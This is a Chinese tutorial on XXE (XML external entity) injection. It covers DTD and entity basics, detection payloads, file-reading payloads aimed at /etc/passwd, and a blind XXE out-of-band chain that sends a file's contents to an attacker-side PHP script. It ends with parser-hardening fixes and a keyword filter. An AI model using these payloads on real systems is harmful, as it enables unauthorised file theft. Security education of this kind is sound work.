淺談XXE漏洞攻擊與防禦——本質上就是注入,盜取資料用
淺談XXE漏洞攻擊與防禦
from:https://thief.one/2017/06/20/1/XML基礎
在介紹xxe漏洞前,先學習溫顧一下XML的基礎知識。XML被設計為傳輸和儲存資料,其焦點是資料的內容,其把資料從HTML分離,是獨立於軟體和硬體的資訊傳輸工具。
XML文件結構
XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<!--XML申明-->
<?xml version=
"1.0"?>
<!--文件型別定義-->
<!DOCTYPE note [ <!--定義此文件是 note 型別的文件-->
<!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素-->
<!ELEMENT to (
#PCDATA)> <!--定義to元素為”#PCDATA”型別--> |
由於xxe漏洞與DTD文件相關,因此重點介紹DTD的概念。
DTD
文件型別定義(DTD)可定義合法的XML文件構建模組,它使用一系列合法的元素來定義文件的結構。DTD 可被成行地聲明於XML文件中(內部引用),也可作為一個外部引用。
內部宣告DTD:
1 | <!DOCTYPE 根元素 [元素宣告]> |
引用外部DTD:
1 | <!DOCTYPE 根元素 SYSTEM "檔名"> |
DTD文件中有很多重要的關鍵字如下:
- DOCTYPE(DTD的宣告)
- ENTITY(實體的宣告)
- SYSTEM、PUBLIC(外部資源申請)
實體
實體可以理解為變數,其必須在DTD中定義申明,可以在文件中的其他位置引用該變數的值。
實體按型別主要分為以下四種:
- 內建實體 (Built-in entities)
- 字元實體 (Character entities)
- 通用實體 (General entities)
- 引數實體 (Parameter entities)
實體根據引用方式,還可分為內部實體與外部實體,看看這些實體的申明方式。
完整的實體類別可參考 DTD - Entities
實體類別介紹
引數實體用%實體名稱申明,引用時也用%實體名稱;其餘實體直接用實體名稱申明,引用時用&實體名稱。
引數實體只能在DTD中申明,DTD中引用;其餘實體只能在DTD中申明,可在xml文件中引用。
內部實體:
1 | <!ENTITY 實體名稱 "實體的值"> |
外部實體:
1 | <!ENTITY 實體名稱 SYSTEM "URI"> |
引數實體:
1 2 3 | <!ENTITY % 實體名稱 "實體的值"> 或者 <!ENTITY % 實體名稱 SYSTEM "URI"> |
例項演示:除引數實體外實體+內部實體
1 2 3 4 5 6 | <?xml version= "1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY name "nMask">]> <foo> <value>&name;</value> </foo> |
例項演示:引數實體+外部實體
1 2 3 4 5 | <?xml version= "1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]> |
注意:%name(引數實體)是在DTD中被引用的,而&name(其餘實體)是在xml文件中被引用的。
由於xxe漏洞主要是利用了DTD引用外部實體導致的漏洞,那麼重點看下能引用哪些型別的外部實體。
外部實體
外部實體即在DTD中使用
1 | <!ENTITY 實體名稱 SYSTEM "URI"> |
語法引用外部的實體,而非內部實體,那麼URL中能寫哪些型別的外部實體呢?
主要的有file、http、https、ftp等等,當然不同的程式支援的不一樣:
例項演示:
1 2 3 4 5 6 | <?xml version= "1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY content SYSTEM "file:///etc/passwd">]> <foo> <value>&content;</value> </foo> |
XXE漏洞
XXE漏洞全稱XML External Entity Injection即xml外部實體注入漏洞,XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的載入,導致可載入惡意外部檔案,造成檔案讀取、命令執行、內網埠掃描、攻擊內網網站、發起dos攻擊等危害。xxe漏洞觸發的點往往是可以上傳xml檔案的位置,沒有對上傳的xml檔案進行過濾,導致可上傳惡意xml檔案。
xxe漏洞檢測
第一步檢測XML是否會被成功解析:
1 2 3 4 | <?xml version= "1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY name "my name is nMask">]> <root>&name;</root> |
如果頁面輸出了my name is nMask,說明xml檔案可以被解析。
第二步檢測伺服器是否支援DTD引用外部實體:
1 2 3 4 5 | <?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://localhost/index.html"> %name; ]> |
可通過檢視自己伺服器上的日誌來判斷,看目標伺服器是否向你的伺服器發了一條請求test.xml的請求。
如果支援引用外部實體,那麼很有可能是存在xxe漏洞的。
xxe漏洞利用
xxe漏洞的危害有很多,比如可以檔案讀取、命令執行、內網埠掃描、攻擊內網網站、發起dos攻擊等,這裡就讀取任意檔案的利用方式進行測試。
讀取任意檔案
由於我是在windows上做的測試,因此讓其讀取c盤下的test.txt檔案內容。
如果是linux下,可以讀取/etc/passwd等目錄下敏感資料。
以上任意檔案讀取能夠成功,除了DTD可有引用外部實體外,還取決於有輸出資訊,即有回顯。那麼如果程式沒有回顯的情況下,該怎麼讀取檔案內容呢?需要使用blind xxe漏洞去利用。
blind xxe漏洞
對於傳統的XXE來說,要求攻擊者只有在伺服器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取伺服器端檔案,如果沒有回顯則可以使用Blind XXE漏洞來構建一條帶外通道提取資料。
建立test.php寫入以下內容:
1 2 3 | <?php file_put_contents( "test.txt", $_GET['file']) ; ?> |
建立index.php寫入以下內容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <?php $xml=<<<EOF <?xml version= "1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/test.txt"> <!ENTITY % remote SYSTEM "http://localhost/test.xml"> %remote; %all; %send; ]> EOF; $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r( $data) ; ?> |
建立test.xml並寫入以下內容:
1 2 | [html] view plain copy <!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>"> |
當訪問http://localhost/index.php, 存在漏洞的伺服器會讀出text.txt內容,傳送給攻擊者伺服器上的test.php,然後把讀取的資料儲存到本地的test.txt中。
注:xxe的利用姿勢以及繞過防禦姿勢有很多,這裡不再一一介紹啦
xxe漏洞修復與防禦
使用開發語言提供的禁用外部實體的方法
PHP:
1 | libxml_disable_entity_loader( true); |
JAVA:
1 2 | DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences( false); |
Python:
1 2 | from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) |
過濾使用者提交的XML資料
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
參考文件
https://security.tencent.com/index.php/blog/msg/69
http://blog.csdn.net/u011721501/article/details/43775691
https://b1ngz.github.io/XXE-learning-note/
http://bobao.360.cn/learning/detail/3841.html